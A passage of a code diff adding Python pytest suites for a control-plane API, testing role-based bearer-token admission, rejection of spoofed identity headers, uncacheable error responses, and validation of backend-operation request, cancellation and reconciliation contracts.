template: str, path: str, body: object +) -> None: + app, _control_plane = _stub_app() + authority = _EXPECTED_ROUTE_AUTHORITY[(method, template)] + + with TestClient(app) as client: + responses = [_send(client, method, path, body, _bearer(token)) for token in _DENIED_ROLE_TOKENS[authority]] + + assert responses + assert all(response.status_code == 403 for response in responses) + assert all(response.json() == {"detail": "forbidden"} for response in responses) + + +@pytest.mark.parametrize(("method", "template", "path", "body"), _route_requests(_READ, _MUTATE, _RESOLVE)) +def test_administrative_identity_passes_transport_admission_on_every_route( + method: str, template: str, path: str, body: object +) -> None: + app, _control_plane = _stub_app() + token = _ADMITTED_TOKEN[_EXPECTED_ROUTE_AUTHORITY[(method, template)]] + + with TestClient(app) as client: + response = _send(client, method, path, body, _bearer(token)) + + # The core, not transport admission, decides the remaining outcome. + assert response.status_code not in {401, 403} + assert response.headers["cache-control"] == _NO_STORE + + +def test_audience_bound_read_identity_is_broad_administrative_authority() -> None: + """A read role plus an audience binding can read the full snapshot (API-404-C3). + + Deployments must therefore never hand such an identity to a participant. + """ + + app, _control_plane = _stub_app() + + with TestClient(app) as client: + snapshot = client.get("/snapshot", headers=_bearer("audience-reader-token")) + summary = client.get("/apparatus/operational-summary", headers=_bearer("audience-reader-token")) + + assert snapshot.status_code == 200 + assert summary.status_code == 200 + assert snapshot.headers["cache-control"] == summary.headers["cache-control"] == _NO_STORE + + +# --- route-bypass attempts ------------------------------------------------- + + +def test_route_variants_and_untrusted_identity_headers_do_not_bypass_admission() -> None: + app, _control_plane = _stub_app() + spoofed = {"x-raes-client-verified": "true", "x-raes-client-identity": "backend"} + + with TestClient(app) as client: + redirected = client.get("/snapshot/", follow_redirects=False) + followed = client.get("/snapshot/") + head = client.head("/snapshot") + header_identity = client.get("/snapshot", headers=spoofed) + bad_token_with_headers = client.get("/snapshot", headers={**spoofed, **_bearer("unknown-token")}) + + assert redirected.status_code == 307 + assert followed.status_code == 401 + assert head.status_code == 405 + assert header_identity.status_code == 401 + assert bad_token_with_headers.status_code == 401 + + +def test_public_probes_and_api_description_expose_no_runtime_state() -> None: + app, control_plane = _stub_app() + target_name = control_plane.target_name + + with TestClient(app) as client: + live = client.get("/health/live") + ready = client.get("/health/ready") + description = client.get("/openapi.json") + + assert live.status_code == 200 + assert set(live.json()) == set(ready.json()) == {"status", "reasons"} + assert live.headers["cache-control"] == ready.headers["cache-control"] == _NO_STORE + for response in (live, ready, description): + assert target_name not in response.text + assert "run:" not in response.text + + +# --- operation readback, idempotency and errors ------------------------------ + + +def test_operation_readback_and_replay_are_actor_scoped_and_uncacheable() -> None: + app, _control_plane = _stub_app() + initialize = f"/participants/{_ALICE}/episodes/initialize" + headers = {**_bearer("backend-token"), "idempotency-key": "retry-1"} + + with TestClient(app) as client: + first = client.post(initialize, json={"episode_id": "episode-a"}, headers=headers) + replay = client.post(initialize, json={"episode_id": "episode-a"}, headers=headers) + conflicting = client.post(initialize, json={"episode_id": "episode-b"}, headers=headers) + operation_id = first.json()["operation_id"] + owner = client.get(f"/operations/{operation_id}", headers=_bearer("backend-token")) + other_actor = client.get(f"/operations/{operation_id}", headers=_bearer("audience-reader-token")) + unknown = client.get("/operations/op-unknown", headers=_bearer("audience-reader-token")) + + assert first.status_code == replay.status_code == owner.status_code == 200 + assert replay.json()["operation_id"] == operation_id + assert conflicting.status_code == 409 + assert other_actor.status_code == unknown.status_code == 404 + assert other_actor.json() == unknown.json() + for response in (first, replay, conflicting, owner, other_actor): + assert response.headers["cache-control"] == _NO_STORE + + +def test_rejected_and_failed_responses_are_uncacheable(monkeypatch: pytest.MonkeyPatch) -> None: + app, control_plane = _stub_app(max_request_bytes=64) + monkeypatch.setattr(control_plane, "get_snapshot", lambda: (_ for _ in ()).throw(RuntimeError("secret"))) + + with TestClient(app, raise_server_exceptions=False) as client: + oversized = client.post( + "/operations/provisioning", + json={"operations": [], "padding": "x" * 128}, + headers=_bearer("backend-token"), + ) + invalid = client.post( + "/operations/provisioning", + json={"operations": "not-a-list"}, + headers=_bearer("backend-token"), + ) + failed = client.get("/snapshot", headers=_bearer("auditor-token")) + + assert (oversized.status_code, invalid.status_code, failed.status_code) == (413, 422, 500) + for response in (oversized, invalid, failed): + assert response.headers["cache-control"] == _NO_STORE + assert "secret" not in failed.text + + +# --- participant views ------------------------------------------------------ + + +class _ViewEvidenceResolver(StaticCrossingResolver): + def resolve_participant_view_evidence(self, **_kwargs: object): + return evidence() + + +def _governed_identity(name: str, *bindings: ParticipantAudienceSubjectBinding) -> ControlPlaneIdentity: + return _identity(name, ControlPlaneRole.OPERATOR, participant_audience_subjects=bindings) + + +def _governed_app() -> tuple[FastAPI, RuntimeControlPlane]: + target = policy_capable_target("participant_egress_projection", "participant_transformation") + control_plane = action_plane(_ViewEvidenceResolver(), target=target) + bound = ParticipantAudienceSubjectBinding(participant_address=PARTICIPANT, audience_scope_ref=AUDIENCE) + other = ParticipantAudienceSubjectBinding( + participant_address="participant.behavior.other", audience_scope_ref=AUDIENCE + ) + security = ControlPlaneSecurityConfig( + bearer_tokens={ + "bound-token": _governed_identity("bound", bound), + "other-participant-token": _governed_identity("other-participant", other), + "unbound-token": _governed_identity("unbound"), + "ambiguous-token": _governed_identity( + "ambiguous", + bound, + ParticipantAudienceSubjectBinding(participant_address=PARTICIPANT, audience_scope_ref="audience:other"), + ), + "participant-limited-token": _identity( + "participant-limited", + participant_audience_subjects=(bound,), + ), + } + ) + return create_control_plane_app(control_plane, security=security), control_plane + + +def _crossings(control_plane: RuntimeControlPlane) -> int: + return len(control_plane.snapshot.participant_crossing_history.get(PARTICIPANT, ())) + + +def test_governed_view_is_bound_to_one_participant_without_an_existence_oracle() -> None: + app, _control_plane = _governed_app() + + with TestClient(app) as client: + bound = client.get(f"/participants/{PARTICIPANT}/status", headers=_bearer("bound-token")) + other = client.get(f"/participants/{PARTICIPANT}/status", headers=_bearer("other-participant-token")) + unknown = client.get("/participants/participant.behavior.unknown/status", headers=_bearer("bound-token")) + unbound = client.get(f"/participants/{PARTICIPANT}/status", headers=_bearer("unbound-token")) + limited = client.get(f"/participants/{PARTICIPANT}/status", headers=_bearer("participant-limited-token")) + ambiguous = client.get(f"/participants/{PARTICIPANT}/status", headers=_bearer("ambiguous-token")) + + assert bound.status_code == 200 + assert bound.json()["participant_address"] == PARTICIPANT + denied = (other, unknown, unbound, limited) + assert all(response.status_code == 403 for response in denied) + assert {response.text for response in denied} == {'{"detail":"forbidden"}'} + assert ambiguous.status_code == 409 + for response in (bound, *denied, ambiguous): + assert response.headers["cache-control"] == _NO_STORE + + +def test_governed_view_rejects_an_episode_outside_the_bound_participant_state() -> None: + app, _control_plane = _governed_app() + + with TestClient(app) as client: + current = client.get( + f"/participants/{PARTICIPANT}/episodes/episode-1/history", + headers=_bearer("bound-token"), + ) + history = client.get( + f"/participants/{PARTICIPANT}/episodes/episode-missing/history", + headers=_bearer("bound-token"), + ) + context = client.get( + f"/participants/{PARTICIPANT}/context", + params={"view_ref": "view.red", "episode_id": "episode-missing"}, + headers=_bearer("bound-token"), + ) + + assert current.status_code == 200 + assert current.json()["episode_id"] == "episode-1" + assert history.status_code == context.status_code == 404 + + +def test_governed_view_replay_returns_the_retained_view_only_within_its_scope() -> None: + app, control_plane = _governed_app() + path = f"/participants/{PARTICIPANT}/status" + + with TestClient(app) as client: + first = client.get(path, headers={**_bearer("bound-token"), "idempotency-key": "view-1"}) + after_first = _crossings(control_plane) + replay = client.get(path, headers={**_bearer("bound-token"), "idempotency-key": "view-1"}) + after_replay = _crossings(control_plane) + cross_scope = client.get(path, headers={**_bearer("other-participant-token"), "idempotency-key": "view-1"}) + after_cross_scope = _crossings(control_plane) + + assert first.status_code == replay.status_code == 200 + assert replay.json() == first.json() + assert after_replay == after_first + assert cross_scope.status_code == 403 + assert after_cross_scope == after_first + assert replay.headers["cache-control"] == _NO_STORE + + +def test_legacy_view_without_a_resolver_is_an_administrative_read_only() -> None: + app, control_plane = _stub_app() + + with TestClient(app) as client: + client.post(f"/participants/{_ALICE}/episodes/initialize", json={}, headers=_bearer("backend-token")) + administrative = client.get(f"/participants/{_ALICE}/status", headers=_bearer("auditor-token")) + limited = client.get(f"/participants/{_ALICE}/status", headers=_bearer("participant-limited-token")) + crossings = control_plane.snapshot.participant_crossing_history + + assert administrative.status_code == 200 + assert administrative.json()["participant_address"] == _ALICE + assert not crossings + assert limited.status_code == 403 + + +def test_audience_binding_is_not_participant_control_authority() -> None: + control_plane = RuntimeControlPlane( + create_stub_target(), + behavior_specifications={_SPEC_ADDRESS: _compiled_specification()}, + ) + audience_only = _identity( + "audience-only", + ControlPlaneRole.OPERATOR, + participant_audience_subjects=( + ParticipantAudienceSubjectBinding(participant_address=_CONTROLLED_PARTICIPANT, audience_scope_ref=AUDIENCE), + ), + ) + app = create_control_plane_app( + control_plane, + security=ControlPlaneSecurityConfig(bearer_tokens={"audience-only-token": audience_only}), + ) + + with TestClient(app) as client: + response = client.post( + f"/participants/{_CONTROLLED_PARTICIPANT}/control-occurrences", + json=_proposal_body(), + headers={**_bearer("audience-only-token"), "idempotency-key": "control-1"}, + ) + history = control_plane.snapshot.participant_control_history + + assert response.status_code == 403 + assert response.json() == {"detail": "forbidden"} + assert not history + + +# --- configured principal shape -------------------------------------------- + + +def _audience_bindings(count: int, *, ref_length: int = 16) -> tuple[ParticipantAudienceSubjectBinding, ...]: + return tuple( + ParticipantAudienceSubjectBinding( + participant_address=f"participant.p{index}", audience_scope_ref="a" * ref_length + ) + for index in range(count) + ) + + +_MALFORMED_PRINCIPALS: dict[str, Callable[[], ControlPlaneIdentity]] = { + "mutable-roles": lambda: ControlPlaneIdentity( + identity="mutable-roles", + roles={ControlPlaneRole.BACKEND}, # type: ignore[arg-type] + target_name=_TARGET, + ), + "string-role": lambda: ControlPlaneIdentity( + identity="string-role", + roles=frozenset({"backend"}), # type: ignore[arg-type] + target_name=_TARGET, + ), + "empty-target": lambda: _identity("empty-target", ControlPlaneRole.BACKEND, target_name=""), + "non-string-target": lambda: _identity("typed-target", target_name=7), # type: ignore[arg-type] + "mutable-audience-bindings": lambda: _identity( + "mutable-audience", + participant_audience_subjects=[_ALICE_AUDIENCE], + ), + "mistyped-control-bindings": lambda: _identity( + "mistyped-control", + participant_control_subjects=(_ALICE_AUDIENCE,), + ), + # Downstream operation-context bounds: actor and each scope entry are at most + # 256 characters and a scope holds at most 64 entries. + "over-bound-identity": lambda: _identity("a" * 257, ControlPlaneRole.AUDITOR), + "over-bound-scope-entry": lambda: _identity( + "long-audience", + ControlPlaneRole.AUDITOR, + participant_audience_subjects=_audience_bindings(1, ref_length=256), + ), + "too-many-scope-entries": lambda: _identity( + "many-audiences", + ControlPlaneRole.AUDITOR, + participant_audience_subjects=_audience_bindings(64), + ), +} + + +@pytest.mark.parametrize("principal", list(_MALFORMED_PRINCIPALS), ids=list(_MALFORMED_PRINCIPALS)) +@pytest.mark.parametrize("mapping", ["bearer_tokens", "trusted_identities"]) +def test_security_config_rejects_malformed_principal_shapes(principal: str, mapping: str) -> None: + secret = "credential-value-1359" + principals = {mapping: {secret: _MALFORMED_PRINCIPALS[principal]()}} + + with pytest.raises(ValueError, match="configured principal") as caught: + ControlPlaneSecurityConfig(**principals) + + assert secret not in str(caught.value) + + +@pytest.mark.parametrize("field", ["require_verified_identity", "trust_proxy_identity_headers"]) +@pytest.mark.parametrize("value", ["false", "true", 0, 1, None]) +def test_security_config_rejects_non_bool_trust_flags(field: str, value: object) -> None: + with pytest.raises(ValueError, match=f"{field} must be a bool"): + ControlPlaneSecurityConfig(**{field: value}) + + +@pytest.mark.parametrize("field", ["max_request_bytes", "max_pending_mutations", "max_pending_rejection_audits"]) +@pytest.mark.parametrize("value", ["64", 1.5, True]) +def test_security_config_rejects_non_int_limits(field: str, value: object) -> None: + with pytest.raises(ValueError, match=f"{field} must be an int"): + ControlPlaneSecurityConfig(**{field: value}) + + +@pytest.mark.parametrize("mapping", ["bearer_tokens", "trusted_identities"]) +@pytest.mark.parametrize("key", ["secret\n", " secret", "secret\t"]) +def test_security_config_rejects_padded_credentials(mapping: str, key: str) -> None: + principals = {mapping: {key: _identity("padded", ControlPlaneRole.AUDITOR)}} + + with pytest.raises(ValueError, match="unpadded") as caught: + ControlPlaneSecurityConfig(**principals) + + assert "secret" not in str(caught.value) + + +def test_principal_at_the_operation_context_bounds_is_admitted() -> None: + principal = _identity( + "a" * 256, + ControlPlaneRole.AUDITOR, + participant_audience_subjects=_audience_bindings(63), + ) + app = create_control_plane_app( + RuntimeControlPlane(create_stub_target()), + security=ControlPlaneSecurityConfig(bearer_tokens={"bounded-token": principal}), + ) + + with TestClient(app) as client: + response = client.get("/snapshot", headers=_bearer("bounded-token")) + + assert response.status_code == 200 + + +@pytest.mark.parametrize( + ("participant_address", "subject_ref", "message"), + [ + (["participant.alice"], "audience:alice", "must be strings"), + ("participant.alice", 7, "must be strings"), + ("", "audience:alice", "must be non-empty"), + ("participant:alice", "audience:alice", "must not contain ':'"), + ], +) +@pytest.mark.parametrize("binding_type", [ParticipantAudienceSubjectBinding, ParticipantControlSubjectBinding]) +def test_subject_bindings_reject_fields_that_cannot_encode_an_unambiguous_scope( + binding_type: type, + participant_address: object, + subject_ref: object, + message: str, +) -> None: + with pytest.raises(ValueError, match=message): + binding_type(participant_address, subject_ref) diff --git a/implementations/python/tests/test_issue_1360_backend_operations.py b/implementations/python/tests/test_issue_1360_backend_operations.py new file mode 100644 index 000000000..5d455eb2e --- /dev/null +++ b/implementations/python/tests/test_issue_1360_backend_operations.py @@ -0,0 +1,402 @@ +"""Portable operation evidence, contextual admission and supervision boundaries.""" + +from __future__ import annotations + +import json +from pathlib import Path + +import pytest +from jsonschema import Draft202012Validator +from jsonschema import ValidationError as SchemaValidationError +from pydantic import ValidationError +from raes_contracts import contracts +from tools.policy.requirement_governance import evaluate_requirement_governance + +ROOT = Path(__file__).resolve().parents[3] + + +def request_payload(): + return { + "schema_version": "backend-operation-request/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": ["role:operator"], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:" + "a" * 64, + }, + "effect_scope": {"kind": "target-run"}, + }, + "command": artifact("provisioning-plan-v1"), + "requirement_refs": [artifact("artifact-requirement-v1")], + "required_guarantees": ["cessation-evidence"], + "budget": budget(), + } + + +def artifact(contract_id="runtime-snapshot-v1"): + return {"contract_id": contract_id, "artifact_id": "artifact-1", "digest": "sha256:" + "b" * 64} + + +def budget(): + return {"origin_id": "budget-1", "started_at": "2026-09-24T00:00:00Z", "limit_ms": 1000, "remaining_ms": 900} + + +def request(): + return contracts.BackendOperationRequestModel.model_validate(request_payload()) + + +def capabilities(): + return contracts.BackendOperationCapabilitiesModel( + backend_id="backend-1", + revision="sha256:" + "c" * 64, + supported_operation_kinds=["provisioning"], + guarantees=["cessation-evidence", "cancellation", "effect-observation", "partial-effects"], + ) + + +def response(message, sequence=1, operation=None): + operation = operation or request() + return contracts.BackendOperationResponseModel( + binding=operation.binding, + request_digest=contracts.backend_operation_request_digest(operation), + sequence=sequence, + message=message, + ) + + +def admission(disposition="willing"): + return response( + { + "kind": "admission", + "disposition": disposition, + "capability_digest": contracts.canonical_backend_operation_capabilities_digest(capabilities()), + "reason": None if disposition == "willing" else "context-refused", + } + ) + + +def evidence(effect="complete", cessation=True): + result = { + "effect": effect, + "cessation_established": cessation, + "evidence_refs": [artifact("backend-materialization-attestation-v1")], + "residual_scope": [], + "residual_state": None, + } + if effect in {"complete", "partial"}: + result.update(residual_scope=["node.vm1"], residual_state=artifact()) + return result + + +def outcome(state="succeeded", **updates): + message = { + "kind": "outcome", + "proposed_state": state, + "effects": evidence(), + "satisfaction": "satisfied", + "release_gates_satisfied": True, + "cancellation_established": False, + "result": artifact("runtime-snapshot-v1"), + } + message.update(updates) + return message + + +def control(action="cancel"): + op = request() + return contracts.BackendOperationControlModel( + binding=op.binding, + request_digest=contracts.backend_operation_request_digest(op), + control_id="control-1", + actor_id="supervisor-1", + authorization_scope=["role:operator"], + action=action, + budget=budget(), + ) + + +def test_api_402_is_admitted_by_real_requirement_policy(): + class Client: + def get_requirement(self, project, uid): + return {"id": uid, "uid": uid, "status": "ACTIVE"} + + def get_traceability(self, requirement_id): + return [] + + assert ( + evaluate_requirement_governance(ROOT, ["contracts/README.md"], client=Client(), requirement_uid="API-402") == [] + ) + + +def test_contextual_willingness_and_capability_are_both_required(): + contracts.require_backend_operation_admission(request(), capabilities(), admission()) + operation_1 = request() + capability_report_2 = capabilities() + admission_report_3 = admission("refused") + with pytest.raises(ValueError, match="refused"): + contracts.require_backend_operation_admission(operation_1, capability_report_2, admission_report_3) + unsupported = capabilities().model_dump() + unsupported["guarantees"] = [] + unsupported = contracts.BackendOperationCapabilitiesModel.model_validate(unsupported) + operation_4 = request() + admission_report_5 = admission() + with pytest.raises(ValueError): + contracts.require_backend_operation_admission(operation_4, unsupported, admission_report_5) + + +@pytest.mark.parametrize( + "field,value", + [ + ("operation_id", "other"), + ("invocation_id", "other"), + ("attempt_id", "other"), + ("worker_id", "other"), + ("deployment_id", "other"), + ("owner_generation", 2), + ("execution_generation", 2), + ("backend_id", "other"), + ("baseline_revision", "other"), + ], +) +def test_individually_valid_foreign_response_is_rejected(field, value): + raw = response({"kind": "acknowledgement", "disposition": "accepted", "reason": None}).model_dump() + raw["binding"][field] = value + foreign = contracts.BackendOperationResponseModel.model_validate(raw) + operation_6 = request() + with pytest.raises(ValueError, match="binding"): + contracts.validate_backend_operation_response(operation_6, foreign) + + +@pytest.mark.parametrize("field", ["actor_id", "target_scope", "run_scope", "request_commitment"]) +def test_original_admission_context_cannot_be_rebound(field): + raw = admission().model_dump() + raw["binding"]["context"][field] = "sha256:" + "d" * 64 if field == "request_commitment" else "other" + foreign = contracts.BackendOperationResponseModel.model_validate(raw) + operation_7 = request() + with pytest.raises(ValueError, match="binding"): + contracts.validate_backend_operation_response(operation_7, foreign) + + +def test_request_commitment_includes_guarantees_budget_and_artifact(): + original = request() + for field, value in [ + ("required_guarantees", []), + ("budget", {**budget(), "remaining_ms": 800}), + ("command", artifact("orchestration-plan-v1")), + ]: + raw = request_payload() + raw[field] = value + changed = contracts.BackendOperationRequestModel.model_validate(raw) + assert contracts.backend_operation_request_digest(changed) != contracts.backend_operation_request_digest( + original + ) + admission_report_15 = admission() + with pytest.raises(ValueError, match="commitment"): + contracts.validate_backend_operation_response(changed, admission_report_15) + + +@pytest.mark.parametrize("effect,ceased", [("unknown", False), ("unknown", True), ("absent", False)]) +@pytest.mark.parametrize("state", ["succeeded", "failed", "cancelled"]) +def test_unknown_effects_or_unproved_cessation_cannot_claim_known_terminal_outcome(effect, ceased, state): + outcome_payload_8 = outcome(state, effects=evidence(effect, ceased), cancellation_established=state == "cancelled") + with pytest.raises(ValidationError): + response(outcome_payload_8) + + +def test_known_partial_cancellation_preserves_residual_state(): + result = response( + outcome( + "cancelled", + effects=evidence("partial"), + satisfaction="unsatisfied", + release_gates_satisfied=False, + cancellation_established=True, + ) + ) + assert result.message.effects.residual_state.contract_id == "runtime-snapshot-v1" + raw = result.model_dump() + raw["message"]["effects"]["residual_state"] = None + with pytest.raises(ValidationError): + contracts.BackendOperationResponseModel.model_validate(raw) + + +def test_cancel_acceptance_can_be_followed_by_success_without_claiming_cancellation(): + ctl = control() + acknowledgement = response({"kind": "acknowledgement", "disposition": "accepted", "reason": None}) + accepted = response( + { + "kind": "control", + "control_id": ctl.control_id, + "control_digest": contracts.backend_operation_control_digest(ctl), + "disposition": "accepted", + }, + 2, + ) + completed = response(outcome(), 3) + contracts.validate_backend_operation_history(request(), [acknowledgement, accepted, completed], controls=[ctl]) + assert completed.message.proposed_state.value == "succeeded" + + +def test_duplicate_records_are_idempotent_but_changed_sequence_content_is_rejected(): + ack = response({"kind": "acknowledgement", "disposition": "accepted", "reason": None}) + contracts.validate_backend_operation_history(request(), [ack, ack]) + conflict = response({"kind": "acknowledgement", "disposition": "refused", "reason": "context-refused"}) + operation_9 = request() + with pytest.raises(ValueError, match="sequence"): + contracts.validate_backend_operation_history(operation_9, [ack, conflict]) + + +def test_uncertain_completion_and_reconciliation_do_not_rewrite_parent_outcome(): + uncertain = response( + outcome( + "indeterminate", + effects=evidence("unknown", False), + satisfaction="unknown", + release_gates_satisfied=False, + result=None, + ), + 2, + ) + ack = response({"kind": "acknowledgement", "disposition": "accepted", "reason": None}) + ctl = control("reconcile") + observed = response( + { + "kind": "reconciliation", + "control_id": ctl.control_id, + "control_digest": contracts.backend_operation_control_digest(ctl), + "effects": evidence(), + }, + 3, + ) + contracts.validate_backend_operation_history(request(), [ack, uncertain, observed], controls=[ctl]) + operation_10 = request() + reports_11 = [ack, uncertain, response(outcome(), 3)] + with pytest.raises(ValueError, match="terminal"): + contracts.validate_backend_operation_history(operation_10, reports_11) + + +@pytest.mark.parametrize( + "field,value", + [("limit_ms", True), ("limit_ms", "1000"), ("limit_ms", 0), ("remaining_ms", 1001), ("remaining_ms", float("inf"))], +) +def test_budgets_reject_coercion_expiry_and_renewal(field, value): + raw = request_payload() + raw["budget"][field] = value + with pytest.raises(ValidationError): + contracts.BackendOperationRequestModel.model_validate(raw) + + +def test_closed_versioned_carriers_reject_unknown_fields_and_versions(): + for mutation in [{"schema_version": "backend-operation-request/v2"}, {"metadata": {"retry": True}}]: + payload_16 = {**request_payload(), **mutation} + with pytest.raises(ValidationError): + contracts.BackendOperationRequestModel.model_validate(payload_16) + + +def test_supervisor_identity_and_control_commitment_are_independent(): + ctl = control() + assert ctl.actor_id != ctl.binding.context.actor_id + raw = ctl.model_dump() + raw["actor_id"] = "different-supervisor" + other = contracts.BackendOperationControlModel.model_validate(raw) + report = response( + { + "kind": "control", + "control_id": ctl.control_id, + "control_digest": contracts.backend_operation_control_digest(ctl), + "disposition": "accepted", + } + ) + operation_12 = request() + with pytest.raises(ValueError, match="control"): + contracts.validate_backend_operation_response(operation_12, report, control=other) + + +def test_published_family_and_profile_are_consumable_without_runtime(): + from raes_backend_protocols.operation_supervision import BackendOperationProvider, require_operation_provider + from raes_contracts.backend_profiles import load_backend_profile + + family = { + "backend-operation-request-v1": request(), + "backend-operation-capabilities-v1": capabilities(), + "backend-operation-control-v1": control(), + "backend-operation-response-v1": admission(), + } + profile = load_backend_profile("operation-supervision") + assert set(family) <= set(profile.required_contracts) + bundle = contracts.schema_bundle() + for name, value in family.items(): + schema = json.loads((ROOT / f"contracts/schemas/control-plane/{name}.json").read_text()) + assert schema == bundle[name] + Draft202012Validator(schema).validate(value.model_dump(mode="json")) + validator_17 = Draft202012Validator(schema) + payload_18 = {**value.model_dump(mode="json"), "metadata": {}} + with pytest.raises(SchemaValidationError): + validator_17.validate(payload_18) + assert schema["x-raes-semantic-profile"]["required"] is True + provider_13 = object() + with pytest.raises(ValueError, match="installed"): + require_operation_provider(provider_13, profile.required_contracts) + assert BackendOperationProvider is not None + + +@pytest.mark.parametrize( + "changes", + [ + {"effects": evidence("partial")}, + {"result": None}, + {"release_gates_satisfied": False}, + {"satisfaction": "unknown"}, + {"cancellation_established": True}, + ], +) +def test_success_requires_full_validated_claim_not_just_observed_effects(changes): + outcome_payload_14 = outcome(**changes) + with pytest.raises(ValidationError): + response(outcome_payload_14) + + +def test_example_corpus_exercises_every_message_and_required_scenario(): + from raes_contracts.corpus import FIXTURES, corpus_family_root + + root = corpus_family_root(FIXTURES) / "control-plane" + request_root = root / "backend-operation-request-v1/valid" + response_root = root / "backend-operation-response-v1/valid" + kinds = set() + for scenario in ["accepted", "refused", "cancel-race", "partial-cancel", "duplicate", "uncertain"]: + op = contracts.BackendOperationRequestModel.model_validate_json((request_root / f"{scenario}.json").read_text()) + reports = [ + contracts.BackendOperationResponseModel.model_validate_json(p.read_text()) + for p in sorted(response_root.glob(f"{scenario}-*.json")) + ] + controls = [ + contracts.BackendOperationControlModel.model_validate_json(p.read_text()) + for p in sorted((root / "backend-operation-control-v1/valid").glob(f"{scenario}-*.json")) + ] + assert reports + for report in reports: + kinds.add(report.message.kind) + Draft202012Validator(contracts.schema_bundle()["backend-operation-response-v1"]).validate( + report.model_dump(mode="json") + ) + contracts.validate_backend_operation_history(op, reports, controls=controls) + assert kinds == {"admission", "acknowledgement", "progress", "control", "outcome", "reconciliation"} + + +def test_existing_stub_does_not_advertise_operation_supervision(): + from raes_backend_stubs.manifest import create_stub_manifest + from raes_contracts.versions import BACKEND_OPERATION_CONTRACT_IDS + + assert set(BACKEND_OPERATION_CONTRACT_IDS).isdisjoint(create_stub_manifest().supported_contract_versions) diff --git a/implementations/python/tests/test_issue_1360_operation_rejections.py b/implementations/python/tests/test_issue_1360_operation_rejections.py new file mode 100644 index 000000000..a9173700a --- /dev/null +++ b/implementations/python/tests/test_issue_1360_operation_rejections.py @@ -0,0 +1,229 @@ +"""Adversarial portable supervision inputs and installed-provider admission.""" + +import pytest +from pydantic import ValidationError +from raes_backend_protocols.operation_supervision import require_operation_provider +from raes_contracts import contracts +from raes_contracts.versions import BACKEND_OPERATION_CONTRACT_IDS +from test_issue_1360_backend_operations import ( + admission, + artifact, + capabilities, + control, + evidence, + outcome, + request, + request_payload, + response, +) + + +def test_refused_admission_cannot_be_followed_by_dispatch(): + refused = admission("refused") + ack = response({"kind": "acknowledgement", "disposition": "accepted"}, 2) + operation_1 = request() + with pytest.raises(ValueError, match="terminal"): + contracts.validate_backend_operation_history(operation_1, [refused, ack]) + + +@pytest.mark.parametrize("disposition", ["willing", "refused"]) +def test_admission_cannot_reclassify_an_accepted_invocation(disposition): + ack = response({"kind": "acknowledgement", "disposition": "accepted"}) + late_admission = response(admission(disposition).message, 2) + operation_2 = request() + with pytest.raises(ValueError, match="admission must precede"): + contracts.validate_backend_operation_history(operation_2, [ack, late_admission]) + + +@pytest.mark.parametrize( + "timestamp", ["2026-02-30T00:00:00Z", "2026-09-24T00:00:00", "2026-09-24T00:00:00." + "1" * 80 + "Z"] +) +def test_budget_origin_is_a_bounded_real_calendar_instant(timestamp): + raw = request_payload() + raw["budget"]["started_at"] = timestamp + with pytest.raises(ValidationError): + contracts.BackendOperationRequestModel.model_validate(raw) + + +@pytest.mark.parametrize( + "changes", + [ + {"effect": "partial", "residual_scope": [], "residual_state": None}, + {"effect": "absent"}, + {"evidence_refs": []}, + {"residual_state": artifact("workflow-result-envelope-v1")}, + {"cessation_established": "false"}, + {"residual_scope": ["node.vm1", "node.vm1"]}, + ], +) +def test_effect_claims_reject_missing_contradictory_or_coerced_evidence(changes): + payload_3 = {**evidence(), **changes} + with pytest.raises(ValidationError): + contracts.BackendOperationEffectsModel.model_validate(payload_3) + + +@pytest.mark.parametrize( + "scope", + [ + {"kind": "resources", "addresses": ["node.vm1"]}, + {"kind": "resources", "independence": artifact()}, + {"kind": "target-run", "addresses": ["node.vm1"]}, + ], +) +def test_narrow_scope_requires_an_admitted_independence_witness(scope): + raw = request_payload() + raw["binding"]["effect_scope"] = scope + with pytest.raises(ValidationError): + contracts.BackendOperationRequestModel.model_validate(raw) + + +def test_residual_scope_cannot_escape_admitted_resource_boundary(): + raw = request_payload() + raw["binding"]["effect_scope"] = { + "kind": "resources", + "addresses": ["node.vm2"], + "independence": artifact(), + } + op = contracts.BackendOperationRequestModel.model_validate(raw) + result = response(outcome(), operation=op) + with pytest.raises(ValueError, match="scope"): + contracts.validate_backend_operation_response(op, result) + + +@pytest.mark.parametrize( + "field,value", + [("backend_id", "other"), ("supported_operation_kinds", ["evaluation"]), ("revision", "sha256:" + "d" * 64)], +) +def test_wrong_capability_identity_kind_and_revision_prevent_admission(field, value): + raw = capabilities().model_dump() + raw[field] = value + foreign = contracts.BackendOperationCapabilitiesModel.model_validate(raw) + operation_4 = request() + admission_report_5 = admission() + with pytest.raises(ValueError): + contracts.require_backend_operation_admission(operation_4, foreign, admission_report_5) + + +def test_non_admission_message_cannot_supply_willingness(): + operation_6 = request() + capability_report_7 = capabilities() + response_report_8 = response(outcome()) + with pytest.raises(ValueError, match="admission"): + contracts.require_backend_operation_admission(operation_6, capability_report_7, response_report_8) + + +@pytest.mark.parametrize( + "kind,disposition,reason", + [ + ("admission", "willing", "context-refused"), + ("admission", "refused", None), + ("acknowledgement", "accepted", "context-refused"), + ("acknowledgement", "refused", None), + ], +) +def test_refusal_reasons_are_required_only_on_refusal(kind, disposition, reason): + raw = {"kind": kind, "disposition": disposition, "reason": reason} + if kind == "admission": + raw["capability_digest"] = "sha256:" + "c" * 64 + with pytest.raises(ValidationError): + response(raw) + + +def test_failure_requires_known_non_satisfaction(): + outcome_payload_9 = outcome("failed") + with pytest.raises(ValidationError, match="non-satisfaction"): + response(outcome_payload_9) + failed = response(outcome("failed", satisfaction="unsatisfied", release_gates_satisfied=False)) + contracts.validate_backend_operation_response(request(), failed) + + +def test_control_requires_original_binding_commitment_and_matching_action(): + ctl = control() + report = response( + { + "kind": "reconciliation", + "control_id": ctl.control_id, + "control_digest": contracts.backend_operation_control_digest(ctl), + "effects": evidence(), + } + ) + operation_10 = request() + with pytest.raises(ValueError, match="action"): + contracts.validate_backend_operation_response(operation_10, report, control=ctl) + operation_11 = request() + with pytest.raises(ValueError, match="control"): + contracts.validate_backend_operation_response(operation_11, report) + raw = ctl.model_dump() + raw["request_digest"] = "sha256:" + "f" * 64 + other = contracts.BackendOperationControlModel.model_validate(raw) + operation_12 = request() + with pytest.raises(ValueError, match="commitment"): + 